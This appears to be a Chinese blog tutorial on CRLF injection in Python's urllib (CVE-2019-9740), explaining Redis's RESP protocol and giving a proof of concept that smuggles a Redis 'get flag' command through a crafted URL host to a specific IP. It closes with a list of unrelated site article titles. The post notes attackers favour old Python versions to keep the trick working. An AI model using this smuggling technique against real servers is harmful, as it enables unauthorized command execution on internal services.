CRLF注入
CRLF注入
- Title: [CVE-2019-9740] Python urllib CRLF injection vulnerability
- Category: security
- Stage: resolved
- Components: Library(Lib)
- Versions: Python 3.8, Python 3.7, Python 2.7
Redis使用的协议
Redis客户端使用RESP(Redis序列化协议)与Redis服务器之间进行通信。该协议专为Redis设计,但也可用于其它客户端-服务器(Client-Server)软件项目。
RESP简单字符串(RESP Simple Strings)
简单字符串使用以下方式编码:以+(加号符号)开始,后跟一个不能包含CR或LF字符的字符串(不允许换行符),以CRLF(即"\r\n")结尾。
简单字符串用于以最小开销传输非二进制安全的字符。例如,许多Redis命令在成功时回复“OK”,因为RESP Simple String使用以下5个字节进行编码:
+OK\r\n
RESP大容量字符串(RESP Bulk Strings)
大容量字符串用于表达长达512MB的单个二进制安全字符串。
大容量字符串使用如下的编码方式:
- 一个以“$”字节开始,后面是组成字符串长度的字节数(前缀长度),由CRLF终止;
- 实际的字符串数据;
- 最终的CRLF。
字符串“foobar”被编码为:
"$6\r\nfoobar\r\n"
空字符串为:
"$0\r\n\r\n"
另外还可以使用RESP Bulk Strings的特殊格式表示空值。在这种特殊格式中,长度为-1,并且没有数据,所以空值表示为(Null Bulk String):
"$-1\r\n"
当服务器使用空字符串进行回复时,客户端库API不应该返回空字符串,而是返回一个nil对象。例如,Ruby库应该返回'nil',C库应该返回NULL(或者在应答对象中设置特殊标志)。
RESP数组(RESP Arrays)
Redis使用RESP数组发送命令到Redis服务器。同样,某些Redis命令使用RESP数组作为回复类型,将元素集合返回给客户端。一个例子是返回列表元素的LRANGE命令。
RESP数组使用以下格式发送:
- 一个“*”字符作为第一个字符,后面为十进制数字,该数字是数组中的元素个数,然后是CRLF;
- Array的每个元素都有一个额外的RESP类型。
所以一个空的Array只含有以下内容:
"*0\r\n"
两个RESP批量字符串“foo”和“bar”的数组编码为:
"*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n"
*<count>CRLF部分作为数组的前缀,组成数组的其它数据类型只是依次连接在一起。例如,一个含有三个整数的数组编码为:
"*3\r\n:1\r\n:2\r\n:3\r\n"
数组可以包含混合类型,元素之间不必是同一类型。例如,由四个整数和一个字符串块组成的列表可以编码为:
*5\r\n:1\r\n:2\r\n:3\r\n:4\r\n:abc\r\n
利用urllib简单构造
现分别构造对百度和对某个Redis服务器的请求。
#目标为百度
import urllib.request
host='www.baidu.com'
url=f'http://{host}/'
resp=urllib.request.urlopen(url)
print(resp.read())
#目标为某个Redis服务器
#假设Redis服务器数据库存有键值对{'flag':'is_flag'}
import urllib.request
host='114.55.65.251:46379?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n'#发送get flag命令
url=f'http://{host}/'
resp=urllib.request.urlopen(url)
print(resp.read())
两者请求信息对比:
GET / HTTP/1.1
Host: www.baidu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
GET /?
*2
$3
get
$4
flag
HTTP/1.1
Host: 114.55.65.251:46379
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
对Redis请求实际上返回了多个结果:
请求内容(GET) | 返回结果 |
---|---|
/? |
$-1\r\n (Redis无法识别) |
*2\r\n$3\r\nget\r\n$4\r\nflag\r\n |
$7\r\n (即'is_flag') |
后续内容 | -ERR unknown command /, with... |
小结
CRLF注入对于较新版本的Python完全无效。例如Python 3.8.3中的urllib已经过滤了操作符,当构造上面的请求时,会有如下报错:
http.client.InvalidURL: URL can't contain control characters. '/?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n/' (found at least '\r')
但是攻击实践中一般不会使用较新的Python版本,而是习惯于使用“经典版本”(如Python 2.7、Python 3.6),以达到对工具运行环境的稳定支持,这也方便于CRLF注入的展开。
现今大型网站基本会完全过滤操作符,也很少存在对用户输入直接输出的设计,不过CRLF仍旧值得一试。
最新文章
- excel的导入导出的实现
- SignalR 远程访问并跨域
- Bootstrap系列 -- 24. 下拉菜单基本用法
- SSH+Oracle10G抛Disabling contextual LOB creation as createClob() m
- sublime text2 操作及插件
- 5月4日课堂内容:for循环的穷举、迭代
- bootstrapDialog插件集成datatables插件遇到的异常
- hadoop 2.0--YARN
- 解密HOMS
- 图片输出onerror事件
- .net string format
- java程序设计-算术表达式的运算
- Nginx服务器配置之location语法分析
- coolite 获取新的页面链接到当前页面指定位置Panel的运用
- django - 总结 - form表单
- Redis基础入门
- 跳石头|河中跳房子|NOIP2015提高组T4|二分法
- android 趟坑记
- linus jsch文件下载
- study design of ADNI